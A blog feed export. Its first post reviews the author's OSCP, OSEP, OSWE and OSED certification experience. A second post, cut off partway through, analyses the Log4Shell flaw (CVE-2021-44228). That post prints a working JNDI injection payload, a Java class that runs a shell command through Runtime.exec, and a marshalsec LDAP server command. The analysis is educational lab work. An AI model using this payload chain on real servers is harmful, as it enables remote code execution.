<content type="html"><![CDATA[<p>In January 2022, I achieved the OSCE3. This passage includes the reviews of OSCP, OSEP, OSWE, and OSED.</p><span id="more"></span><article class="message message-immersive is-primary"><div class="message-body"><i class="fas fa-globe-asia mr-2"></i>This article is also available in <a href="https://cn.4xpl0r3r.com/%E8%AF%81%E4%B9%A6/OSCE3%E4%B9%8B%E8%B7%AF-OSCP-PEN200/">简体中文-OSCP</a>, <a href="https://cn.4xpl0r3r.com/%E8%AF%81%E4%B9%A6/OSCE3%E4%B9%8B%E8%B7%AF-OSEP-PEN300/">简体中文-OSEP</a>, <a href="https://cn.4xpl0r3r.com/%E8%AF%81%E4%B9%A6/OSCE3%E4%B9%8B%E8%B7%AF-OSWE-WEB300/">简体中文-OSWE</a>, <a href="https://cn.4xpl0r3r.com/%E8%AF%81%E4%B9%A6/OSCE3%E4%B9%8B%E8%B7%AF-OSED-EXP301/">简体中文-OSED</a>.</div></article><article class="message message-immersive is-warning"><div class="message-body"><i class="fas fa-exclamation-triangle mr-2"></i>Parts of this article is outdated, please refer to the official information.</div></article><h2 id="Introduction"><a href="#Introduction" class="headerlink" title="Introduction"></a>Introduction</h2><p>I achieved the OSCP in 2020, achieved the OSWE and OSEP in 2021, achieved OSED in January 2022. Absolutely, It’s a tough journey.</p><h2 id="PEN200-OSCP"><a href="#PEN200-OSCP" class="headerlink" title="PEN200-OSCP"></a>PEN200-OSCP</h2><blockquote><p>Official information about the PEN200-OSCP: <a href="https://www.offensive-security.com/pwk-oscp/">https://www.offensive-security.com/pwk-oscp/</a></p><p>OSCP is NOT a part of OSCE3. If you are confident in yourself, it’s not a problem to chase the OSCE3 without OSCP.</p></blockquote><p>As we all know, OSCP is the most well-known certification in the OffSec ones. When I was the student of it, I didn’t have any experience of it. As the saying gose, all things are dificult before they are easy. It was so difficult for me, but with the several months hard working, finally I achieved it.</p><p>Because I took the course and exam in 2020, the updated course, that I was using, contains the content about Active Directory, but there is nothing about AD in exam. From January 11th, 2022 on, the OSCP Exam has changed a lot, the penetration with AD is requied in exam now. We will analyze this later.</p><h3 id="How-to-prepare"><a href="#How-to-prepare" class="headerlink" title="How to prepare"></a>How to prepare</h3><p>Althought there is nothing about prerequisites, in my opinion, if you have the capability as below, your journey of leraning PEN200-OSCP will be much more smooth.</p><ul><li>Competent in debian-based Linux</li><li>Competent in coding with Python</li><li>Proficient in using Google and other search engine</li></ul><p>Apart from this, it’s a good idea to learn the content mentioned in the syllabus by yourself before the beginning of the PEN200 course. It will save your course time.</p><blockquote><p>Official Syllabus: <a href="https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf">penetration-testing-with-kali.pdf (offensive-security.com)</a></p></blockquote><p>If you want to attack some machines as the exercise before taking the OSCP course, there are some platforms such as HackThebox and OffSec Proving. There is a list of OSCP-like boxes offered by TJNull. </p><blockquote><p>Get the OSCP-like boxes list: <a href="https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159">https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159</a></p></blockquote><p><img src="../../img/OSCE3-Review-OSCP-OSEP-OSWE-OSED/image-20220121004953919.png" alt="image-20220121004953919"></p><h3 id="The-Course"><a href="#The-Course" class="headerlink" title="The Course"></a>The Course</h3><p>The virtual lab environment is shared with all the PEN200-OSCP students. Don’t for get to join the official Discord server, you can find the invitation link in <a href="https://portal.offensive-security.com/">https://portal.offensive-security.com/</a>.</p><p>You could learn a lot of knowledge about peneration with PEN200 course, such as information gathering, using the exploit, and the privilege escalation. In the exam or during the study, both the Windows and Linux will be met.</p><p>The most import for the PEN200-OSCP are enumeration and exploitation. With the scanning result, find the suitable exploit with search engines(Google, Github, etc.)</p><p>If you make a personal cheatsheet when you are reading the teaching material or exercising in the virtual lab environment, it will help you save a lot of time in penetration in the exam and lab.</p><h4 id="The-Lab"><a href="#The-Lab" class="headerlink" title="The Lab"></a>The Lab</h4><p>Although there are 850+ pages in the PDF, because learning the penetration needs a lot of practice, the lab is the core part of the PEN200 course.</p><p>Most machines can be solved independently, but there are dependencies between some machines. You need to attack another machine first and obtain enough information in Post-Enumeration to break through another machine.</p><p>You can find the relevance between the amount of compromised machines in lab and the pass rate in a offical passage. The passage introduced the lab environment in detail, incluing the network topology.</p><blockquote><p> <a href="https://www.offensive-security.com/offsec/pwk-labs-success/">A Path to Success in the PWK Labs | Offensive Security (offensive-security.com)</a></p></blockquote><p><img src="../../img/OSCE3-Review-OSCP-OSEP-OSWE-OSED/image-20220121011019131.png" alt="image-20220121011019131"></p><h4 id="The-newly-added-requirement-in-exam-Active-Directory"><a href="#The-newly-added-requirement-in-exam-Active-Directory" class="headerlink" title="The newly added requirement in exam: Active Directory"></a>The newly added requirement in exam: Active Directory</h4><p>Chapter 21 of the PEN200 course has talked all the content about AD which will be used in the exam. In my opinion, It is enough to pass the exam(AD part) with these knowledge. Apart from this, there is a detailed example about how to exploit the AD in the last chapter of the course. There are some exercises in lab, too.</p><p>Although I didn’t take the OSCP exam with AD, I have taken the OSEP exam which is full of examinations for AD. It’s not too hard to master this technology. What you need is just to have a full understanding of the content taught in the course and finish the exercises in the lab.</p><blockquote><p>You can ask in the discord official server about what is the IP of AD-associated machines.</p></blockquote><h3 id="About-the-new-exam"><a href="#About-the-new-exam" class="headerlink" title="About the new exam"></a>About the new exam</h3><blockquote><p>Offical Exam GUIDE: <a href="https://help.offensive-security.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide">OSCP Exam Guide – Offensive Security Support Portal (offensive-security.com)</a></p></blockquote><p>Because the structure of exam has changed a lot, talking about my exam review doesn’t make sense. I do suggest every student read some exam reviews posted in 2022 or later.</p><p>The changing about the exam has been introduced by the official in this passage: <a href="https://www.offensive-security.com/offsec/oscp-exam-structure/">https://www.offensive-security.com/offsec/oscp-exam-structure/</a></p><p>As we can see, the examination about buffer overflow becomes optional from necessary, the examination about Active Directory becomes required from never taking.</p><h2 id="The-OSCE3-General-Information"><a href="#The-OSCE3-General-Information" class="headerlink" title="The OSCE3 - General Information"></a>The OSCE3 - General Information</h2><p>After the OSCP, the following I will talk about is the 3 certifications consisted the OSCE3. They are more difficult and have higher demand to pass the exam.</p><p><img src="../../img/OSCE3-Review-OSCP-OSEP-OSWE-OSED/image-20220126203330222.png" alt="image-20220126203330222"></p><ul><li>The WEB300-OSWE mainly examines white-box code assessment.</li><li>The PEN300-OSEP mainly examines pentest with Active Directory and anti-virus bypassing. </li><li>The EXP301-OSED mainly examines exploit development with Windows x86. (Binary Security)</li></ul><h3 id="Horizontal-comparison-in-the-OffSec-300-series"><a href="#Horizontal-comparison-in-the-OffSec-300-series" class="headerlink" title="Horizontal comparison in the OffSec 300 series"></a>Horizontal comparison in the OffSec 300 series</h3><p>Although each one of them focuses on a different field, there still are some differences independent from technology.</p><ul><li>WEB300-OSWE - The oldest one, the most difficult one in thinking, maybe it’s caused by the updating year by year.<ul><li>However, it’s the easiest for me bacaue of my strong foundation of web security.</li></ul></li><li>EXP301-OSED - The latest one, the most difficult one in general, maybe it’s prejudice because fewer people are working on binary security than web security.</li><li>PEN300-OSEP - Generally, it is thought of as the easiest one of the three, I think it is because of the lower requirement of coding.<ul><li>However, there is a lot of coding in need during learning the course. </li></ul></li></ul><h2 id="PEN300-OSEP"><a href="#PEN300-OSEP" class="headerlink" title="PEN300-OSEP"></a>PEN300-OSEP</h2><blockquote><p>Official information about the PEN300-OSEP: <a href="https://www.offensive-security.com/pen300-osep/">https://www.offensive-security.com/pen300-osep/</a></p></blockquote><p>I has owned the OSEP in August 2021, it is the next part of OSCP, focuses on Lateral Movement, Peneration with Active Directory and Anti-Virus Bypassing. It also offers content about fishing and is closer to red teaming.</p><h3 id="How-to-prepare-1"><a href="#How-to-prepare-1" class="headerlink" title="How to prepare"></a>How to prepare</h3><p>The courses in the 300 series are recognized by OffSec as advanced courses, all of which require more or less development capabilities. The official page also gives the requirements for basic capabilities, as follows</p><p><img src="../../img/OSCE3-Review-OSCP-OSEP-OSWE-OSED/image-20220126211822753.png" alt="image-20220126211822753"></p><p>Apart from the official prerequisites, in my opinion, owning capability as below could benefit your learning or help you during the exam.</p><ul><li>Proficient in Powershell, especially able to invoke .Net Framework with PowerShell</li><li>Proficient in C# and advanced language features, especially the <strong>reflection</strong></li><li>Solid ability in calling Windows API, able to call Windows API with C#</li><li>Understanding of Microsoft’s Products such as Microsoft SQL Server and ASP.NET</li></ul><p>The syllabus: <a href="https://www.offensive-security.com/documentation/PEN300-Syllabus.pdf">PEN-300-Syllabus (offensive-security.com)</a></p><p>If you have plenty of time, you could preview each knowledge point following the syllabus, which is also a good choice.</p><p>Since such an intranet practice environment composed of multiple targets is still relatively rare, I didn’t take any extra exercise. If you want, just choose by yourself.</p><p>Although I mentioned that OSEP has the lowest development capability requirements in the 300 series certification, why do I still recommend that you master PowerShell and C#? This is because the course will provide in-depth explanations for the various techniques used, including what each line does and how to modify it yourself. Although you can directly save the template code and apply it directly to the exam, I think that it is the most important thing to understand the principles in the course, otherwise you will still be an advanced script kid.</p><h3 id="About-the-Course"><a href="#About-the-Course" class="headerlink" title="About the Course"></a>About the Course</h3><p>The resources of the course are mostly the same as the one of PEN200, but there is a significant difference between the PEN200 Lab and the PEN300 Lab. In the lab of PEN200, every mahines is a individual challenge, but in the lab of PEN300, the most important is Lateral Movement and Penetration with Active Directory, there are several challenges which are consisted of many machines, it can be as little as three or as many as 10. Each machine has different solution to break, such as fishing, lateral movement, SQL vulnerabilities, etc.</p><p>By the way, it’s not the same as PEN200, the lab environment for the 300 series is not shared with other students.</p><p>The exam focuses on the ability to examine 4 areas, and it is also where we should focus on learning</p><ul><li>Lateral Movement ( Including traversing between multiple network segments )</li><li>Penetration with Active Directory</li><li>Anti-Virus Bypassing ( Mainly based on static bypassing )</li><li>Client Side Code Execution ( Such as fishing)</li></ul><p>Compare to PEN200-OSCP, PEN300-OSEP is closer to penetration in the real world. You will find that the antivirus software is working in nearly every machine, but working offline. After gaining administrator privileges, you also need to find a way to disable or bypass these security software, otherwise they will not only hinder you in the stage of obtaining a shell, but also when you perform lateral movement or post-enumeration.</p><h3 id="About-the-Exam"><a href="#About-the-Exam" class="headerlink" title="About the Exam"></a>About the Exam</h3><blockquote><p>Offical Exam GUIDE: <a href="https://help.offensive-security.com/hc/en-us/articles/360050293792-OSEP-Exam-Guide">OSEP Exam Guide – Offensive Security Support Portal (offensive-security.com)</a></p></blockquote><p>Many students learned about OffSec’s certification system only because of the OSCP certification. Compared with other certifications, the examination format of the OSCP certificate is quite unique, while the OSEP adopts a more interesting examination form.</p><p>In the OSEP exam, we still need to attack each target machine because we are still being examined for penetration testing, but this time we are provided with a simulated environment. OffSec simulates a fictitious target, such as a large company or a bank. The exam provides students with several IPs as exposed security boundary. You can break through in many ways. You can break the security boundary by attacking Web services, exploiting directly, or even phishing.</p><p>After breaking the security boundary, it’s time to move laterally. Every time you owned a <code>proof.txt</code> or <code>local.txt</code>, you will get 10 points. There are two ways to pass the exam, get 10 flags, that is, 100 points to pass the exam, or finish the ultimate goal of the simulation, the flag is saved in secret.txt, and you can pass the exam directly after getting <code>secret.txt</code></p><p>According to the official statement, there are at least two attack paths that can reach <code>secret.txt</code>, which means that either one of the paths is completed, or both paths are almost halfway through, which is relatively flexible, and everyone can choose freely during the exam.</p><p>During my exam, because the security software in the machine which is in the boundary of another route can’t be bypassed for me, I have to try to get the <code>secret.txt</code> from the way I can break. Luckily, I got the <code>secret.txt</code> and successfully passed the exam. It also passed through more than one network segment. The OSEP exam is so interesting for me.</p><p>All the technologies used in the OSEP exam have been mentioned in the lab challenges, so I think that as long as you solved all the challenges in the lab like me and master every knowledge point, passing the exam will not be a problem.</p><h2 id="WEB300-OSWE"><a href="#WEB300-OSWE" class="headerlink" title="WEB300-OSWE"></a>WEB300-OSWE</h2><blockquote><p>Official information about the WEB300-OSWE: <a href="https://www.offensive-security.com/awae-oswe">https://www.offensive-security.com/awae-oswe</a></p></blockquote><p>I has owned the OSWE in April 2021, it’s the first certification about exploit development.</p><h3 id="How-to-Prepare"><a href="#How-to-Prepare" class="headerlink" title="How to Prepare"></a>How to Prepare</h3><p>The courses in the 300 series are recognized by OffSec as advanced courses, all of which require more or less development capabilities. The official page also gives the requirements for basic capabilities, as follows</p><p><img src="../../img/OSCE3-Review-OSCP-OSEP-OSWE-OSED/image-20220127172131833.png" alt="image-20220127172131833"></p><p>As we can see, the requirements for the basics of web coding are relatively high. If you’re a experienced CTF-Web palyer, it’s will be easy.</p><p>However, the WEB300-OSWE focuses on white-box assessment, which is diffrent from CTF.</p><p>If you’re not a CTF player and don’t have knowledge about web security. I recommend the basic course by PortSwigger, which is free.</p><p><a href="https://portswigger.net/web-security/all-materials">https://portswigger.net/web-security/all-materials</a></p><p>The Syllabus of WEB300-OSWE: <a href="https://www.offensive-security.com/documentation/awae-syllabus.pdf">awae-syllabus.pdf (offensive-security.com)</a></p><p>If you have looked at it in detail, you can find that most of the course are based on real examples. Both WEB300 and EXP301 are used to study Exploit Development (EXP development), so you will study with real example. If you have mastered the above programming basics and Web vulnerabilities. It’s time to start the journey of WEB300-OSWE officially.</p><h3 id="About-the-Course-1"><a href="#About-the-Course-1" class="headerlink" title="About the Course"></a>About the Course</h3><p>The resources of the course are mostly the same as the one of PEN200.</p><p>The lab is consisted of several chanllenges, which is consist of white-box(main) and black-box, but the exam only examines the white box assessment.</p><p>The way of learning the WEB300-OSWE course is relatively monotonous. The method I used to learn it is to practice while reading the PDF. After practicing all the examples in the course, I have mostly mastered it. This may be because I was a player in CTF-Web. Due to my experience, this course is not very difficult for me</p><p>As follwoing, we need to solve the challenges in the lab. It may be too hard for those student who don’t have experience with web assessment, don’t be hesitate to ask others for help in discord. As long as the vulnerability taught in the course can be tested, including client-side attacks like CSRF or collision attacks.</p><p>For both WEB300-OSWE and EXP301-OSED, I strongly recommend summarizing mind maps while studying, which is extremely helpful for consolidating study and thinking about attack paths in exams</p><h3 id="About-the-Exam-1"><a href="#About-the-Exam-1" class="headerlink" title="About the Exam"></a>About the Exam</h3><p>The exam examines manual white-box auditing, so you are not allowed to use various automated tools. Each challenge will provide 2 machines. The 2 machines are exactly the same except for the passwords. One is used for students to obtain source code and Analysis, another used to get the Proof.</p><p>For every challenge, there will be 2 stages, first one is to bypass login, the others is to achieve remote code execution.</p><p>The full score of the exam is 100 points, and 85 points are passed. There are 2 machines in total, 35 points in the first stage and 15 points in the second stage, which means that the Bypass Login of the two machines must be successful, and RCE only needs to complete one of them. Because I had a lot of spare time for the exam, it took less than 20 hours to get the full score and write the report, so I got it all done.</p><p>After getting all the Proofs, The student have to write an Exploit to automate the attack. I recommend using Python3 to write exploit scripts.</p><p>Compared with the course that use real cases as examples, the exam is consisted of OffSec’s self-developed challenges, and the code language used in exam is different for everyone.</p><h2 id="EXP301-OSED"><a href="#EXP301-OSED" class="headerlink" title="EXP301-OSED"></a>EXP301-OSED</h2><blockquote><p>Official information about the EXP301-OSED: <a href="https://www.offensive-security.com/exp301-osed/">https://www.offensive-security.com/exp301-osed/</a></p></blockquote><h3 id="How-to-Prepare-1"><a href="#How-to-Prepare-1" class="headerlink" title="How to Prepare"></a>How to Prepare</h3><p>The courses in the 300 series are recognized by OffSec as advanced courses, all of which require more or less development capabilities. The official page also gives the requirements for basic capabilities, as follows</p><p><img src="../../img/OSCE3-Review-OSCP-OSEP-OSWE-OSED/image-20220127214600170.png" alt="image-20220127214600170"></p><p>EXP301-OSED only examines the 32-bit environment of Windows, that is why it is being criticized, because most of the computers are now <code>x64</code> architecture. However, in fact <code>x86_64</code> is an upgraded version of the <code>x86</code> architecture. I think it’s a good choice to learn basic binary research skills by learning x86. If you start directly with <code>x64</code>, the learning curve will be too bumpy</p><p>In order to be familiar with the 32-bit basic binary exploit, you can choose the CTF-PWN as the entry option, or you can choose the practice questions provided by the <a href="https://ropemporium.com/">ROP Emporium</a> for practice, because this website only provides executables, there is no virtual practice environment. You can use a virtual machine to build a virtual practice environment. Here I recommend a small tool I made myself to build a practice environment. The documentation is on my blog: <a href="/Docs/DIPD-Document/">DIPD Document - 4xpl0r3r’s blog</a>, you can also leave a message below the article about usage issues.</p><p>ROP Emporium offers 4 practice architectures for each challenge, <code>x86</code>, <code>x86_64</code>, <code>ARMv5</code>, <code>MIPS</code>, if you are only preparing for EXP301-OSED, you only need to practice the challenges in <code>x86</code> architecture, if you want to feel the difference between <code>x86</code> and modern <code>x86_64</code>, you can also practice with <code>x86_64</code>, if you want to enter the IoT binary security field, you can study <code>ARM</code> and <code>MIPS</code>, but you need to build a QEMU heterogeneous virtual machine yourself.</p><h3 id="About-the-Course-2"><a href="#About-the-Course-2" class="headerlink" title="About the Course"></a>About the Course</h3><p>The resources of the course are mostly the same as the one of PEN200.</p><p>The learning method I used in the EXP301-OSED course is similar to WEB300-OSWE. My learning method is to practice while reading PDF. After practicing all the examples in the course, I have mostly mastered it. Through repeated practice, I summarized my own methodology.</p><p>As same as the WEB300-OSWE, it is recommanded to summarize mind maps during learning the EXP3-1-OSED.</p><p>I concluded that the core content of EXP301-OSED is: stack overflow as the core, study the bypass of DEP and ASLR, and learn the shellcode development with assembly and reverse engineering. These are also the core content in the exam, so you can have a general understanding before taking the course.</p><p>There are also some small details that need to be paid attention to. The OSED exam allows the use of IDA but not IDA Pro. Only the free version of IDA can be used, which means that the IDA can be only used for disassembly and you can get the pesudo-code by IDA F5. Attention: Debugging is also only possible with WinDbg</p><h3 id="About-the-Exam-2"><a href="#About-the-Exam-2" class="headerlink" title="About the Exam"></a>About the Exam</h3><p>Compared with in course and lab, which generally use real cases as examples, the exams all use challenges developed by OffSec.</p><p>The exam consists of three independent assignments, with scores of 40, 30, and 30, respectively. The score for passing the exam is 60, so you can pass the exam by completing 2 of the assignments.</p><p>The 3 tasks of the exam will examine all topics in the syllabus, including reverse engineering, developing exploits to bypass mitigation (i.e. DEP and ASLR), and developing self-made shellcode (developed in assembly language)</p><p>Compared with the difficulty of thinking, this exam pays more attention to the understanding of the underlying computer, it will be very difficult for students who are not familiar with assembly language, because the amount of code to be read is still not small, most of the challenges are relatively straightforward, and the more creative part I think is building the ROP chain and reverse engineering to find exploitable vulnerability.</p><p>Every assignment is pretty binary as far as I know, if you have the flag and good docs, it is max score for that challenge, but if any of these is missing, I guess it is 0.</p><p>Some chanllenges will provide a template exploit, which needs to be further improved, while some chanllenges do not have a template, and need to find vulnerability through reverse engineering</p><p>There are some important to pay attention</p><ul><li>You have to use IDA Freeware to perform disassembly, neither IDA Pro and Ghidra are allowed.</li><li>The exploit have to be written by Python3, neither other languages and Python2 are allowed.</li><li>Unlike other OffSec certifications that only need to upload the report and do not need to upload the code, OSED needs to upload the final code of each assignment</li></ul><h2 id="The-End"><a href="#The-End" class="headerlink" title="The End"></a>The End</h2><p>If the information you want to know is not mentioned in this article, you are welcome to send me an email to communicate, and you are also welcome to be my online friend, just send me your contact information by email.</p><p><a href="mailto:4xpl0r3r@gmail.com">4xpl0r3r@gmail.com</a></p><p>Here are my certifications</p><p><img src="../../img/OSCE3-Review-OSCP-OSEP-OSWE-OSED/image-20220127223659584.png" alt="OSCP Certification"></p><p><img src="../../img/OSCE3-Review-OSCP-OSEP-OSWE-OSED/image-20220210150422237.png" alt="OSCE3 Certification"></p><p><img src="../../img/OSCE3-Review-OSCP-OSEP-OSWE-OSED/image-20220127223737014.png" alt="OSEP Certification"></p><p><img src="../../img/OSCE3-Review-OSCP-OSEP-OSWE-OSED/image-20220127223805280.png" alt="OSWE Certification"></p><p><img src="../../img/OSCE3-Review-OSCP-OSEP-OSWE-OSED/image-20220127223819917.png" alt="OSED Certification"></p>]]></content>
<summary type="html"><p>In January 2022, I achieved the OSCE3. This passage includes the reviews of OSCP, OSEP, OSWE, and OSED.</p></summary>
<category term="Certifications" scheme="https://www.4xpl0r3r.com/categories/Certifications/"/>
<category term="OffSec" scheme="https://www.4xpl0r3r.com/tags/OffSec/"/>
</entry>
<entry>
<title>Vulnerability Analysis - CVE-2021-44228 Log4Shell</title>
<link href="https://www.4xpl0r3r.com/Vuln-Analysis/Vulnerability-Analysis-CVE-2021-44228-Log4Shell/"/>
<id>https://www.4xpl0r3r.com/Vuln-Analysis/Vulnerability-Analysis-CVE-2021-44228-Log4Shell/</id>
<published>2022-01-19T13:06:00.000Z</published>
<updated>2022-02-11T11:45:45.000Z</updated>
<content type="html"><![CDATA[<p>Using Java 8u181</p><span id="more"></span><article class="message message-immersive is-primary"><div class="message-body"><i class="fas fa-globe-asia mr-2"></i>This article is also available in <a href="https://cn.4xpl0r3r.com/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/CVE-2021-44228-log4j2-RCE-%E5%88%86%E6%9E%90/">简体中文</a>.</div></article><h2 id="Vulnerability-Profile"><a href="#Vulnerability-Profile" class="headerlink" title="Vulnerability Profile"></a>Vulnerability Profile</h2><p>Apache Log4j2 is a logging tool. Because Apache Log4j2 offers some functions that could parse recursively, an attacker can directly construct a malicious request to trigger the remote code execution.The vulnerability works with default configuration.</p><p>Verified by the Ali Cloud security team, It is affected for Apache Struts2, Apache Solr, Apache Druid, Apache Flink, etc.</p><p>All systems running Apache log4j2 2.0-beta9 through 2.14.1 are vulnerable. If the Java application imports the <code>log4j-core</code>, it is most likely to be affected.</p><h2 id="The-Exploit"><a href="#The-Exploit" class="headerlink" title="The Exploit"></a>The Exploit</h2><h3 id="The-Exploit-Code"><a href="#The-Exploit-Code" class="headerlink" title="The Exploit Code"></a>The Exploit Code</h3><p>Use the maven to build a project to trigger the vulnerability and import the <code>org.apache.logging.log4j</code> module which version is <code>2.14.1</code> .</p><p>If the logger uses a recordable level to log the payload , the vulnerability will be triggered.</p><p>The trigger code is as shown below.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.logging.log4j.LogManager;</span><br><span class="line"><span class="keyword">import</span> org.apache.logging.log4j.Logger;</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Main</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> Logger logger = LogManager.getLogger();</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> logger.error(<span class="string">"${jndi:ldap://ip:1389/#Exploit}123"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>Use the code shown below to build a class file used by JNDI</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.BufferedReader;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStreamReader;</span><br><span class="line"><span class="keyword">import</span> java.io.Reader;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Exploit</span></span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">Exploit</span><span class="params">()</span> <span class="keyword">throws</span> IOException,InterruptedException</span>{</span><br><span class="line"> String cmd=<span class="string">"curl 127.0.0.1:5555"</span>;</span><br><span class="line"> <span class="keyword">final</span> Process process = Runtime.getRuntime().exec(cmd);</span><br><span class="line"> printMessage(process.getInputStream());;</span><br><span class="line"> printMessage(process.getErrorStream());</span><br><span class="line"> <span class="keyword">int</span> value=process.waitFor();</span><br><span class="line"> System.out.println(value);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">printMessage</span><span class="params">(<span class="keyword">final</span> InputStream input)</span> </span>{</span><br><span class="line"> <span class="keyword">new</span> Thread (<span class="keyword">new</span> Runnable() {</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">run</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="comment">// TODO Auto-generated method stub</span></span><br><span class="line"> Reader reader =<span class="keyword">new</span> InputStreamReader(input);</span><br><span class="line"> BufferedReader bf = <span class="keyword">new</span> BufferedReader(reader);</span><br><span class="line"> String line = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">while</span> ((line=bf.readLine())!=<span class="keyword">null</span>)</span><br><span class="line"> {</span><br><span class="line"> System.out.println(line);</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">catch</span> (IOException e){</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }).start();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>Compile the code to get the <code>.class</code> file. The construction method will be run by JNDI.</p><h3 id="Trigger-the-vulnerability"><a href="#Trigger-the-vulnerability" class="headerlink" title="Trigger the vulnerability"></a>Trigger the vulnerability</h3><p>It’s typical JNDI Injection progress. Firstly, move the <code>.class</code> file to a web server, and then, make use of <code>marshalsec</code> to set up JNDI and LDAP service, the command is as shown below</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/<span class="comment">#Exploit</span></span><br></pre></td></tr></table></figure><h2 id="Analysis-of-the-Vulnerabilty"><a href="#Analysis-of-the-Vulnerabilty" class="headerlink" title="Analysis of the Vulnerabilty"></a>Analysis of the Vulnerabilty</h2><h3 id="Analysis-of-the-source-code"><a href="#Analysis-of-the-source-code" class="headerlink" title="Analysis of the source code"></a>Analysis of the source code</h3><p>As we all know, the exploit is working with JNDI, so we make a breakpoint in the constrution method of <code>javax.naming.InitialContext</code> . The source code is located in <code>rt.jar/javax/naming/InitialContext.java</code></p><p>After running the trigger code, the execution will be paused at the breakpoint.</p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119155612476.png" alt="image-20220119155612476"></p><p>The calling stack is as shown below</p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119155630289.png" alt="image-20220119155630289"></p><p>It’s obviously that if we want to exploit with JNDI, there must be a calling for <code>lookup</code> method, so let’s trace reversely form <code>JndiLookup.look()</code>.</p><p>To determine where is the code that focus to the payload <code>${jndi:ldap://127.0.0.1:1389/#Exploit}</code>, we can add some junk into the logging message. Running the trigger again, we can find that the <code>substitute</code> methond deferenced <code>AAAAA${jndi:ldap://127.0.0.1:1389/#Exploit}BBBBB</code> into <code>${jndi:ldap://127.0.0.1:1389/#Exploit}</code>.</p><p>Apart from this, we can find there is a method called <code>resolveVariable</code> which is using to parse variable wrapper with <code>${}</code>.</p><p> Keep tracing, we can find a piece of code as below</p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119160349045.png" alt="image-20220119160349045"></p><p>We can find that if it meet the variable starting with <code>${</code>, the code will replace it with the resolved variable.</p><h3 id="Going-deeper"><a href="#Going-deeper" class="headerlink" title="Going deeper"></a>Going deeper</h3><p>Log4j2 has 3 major components.</p><ul><li>Logger - log the message</li><li>Appender - output the message</li><li>Layout - format the message</li></ul><p>Keep tracing the calling stack, we can find that log4j2 use <code>LoggerConfig.processLogEvent()</code> to resolve logging event, use <code>callAppenders()</code> to call Appender to ouput the message.</p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119160832271.png" alt="image-20220119160832271"></p><p>The function of Appender is transfer the logging event to the target. There are some commonly used Appender such as ConsoleAppender(output to the console), FileAppender(output to a file). It will use AppenderControl to gain the specific Appender. In this debug session, it is ConsoleAppender.</p><p>The Appender uses the Layout to get the logging format, formats the logging message with <code>Layout.encode()</code>.</p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119161231396.png" alt="image-20220119161231396"></p><p>The Layout will use formatters to finish the formating.</p><p>The inputted message is resolved by <code>MessagePatternConverter.format()</code>, it’s a important part of the vulnerabilty.</p><p>When the config is exist and the <code>noLookups</code> is false, if there is a <code>${'</code> in the message, it will call <code>workingBuilder.append()</code> to get the <code>StrSubstitutor</code> to replace the variable with resolved one</p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119161657043.png" alt="image-20220119161657043"></p><p>We can 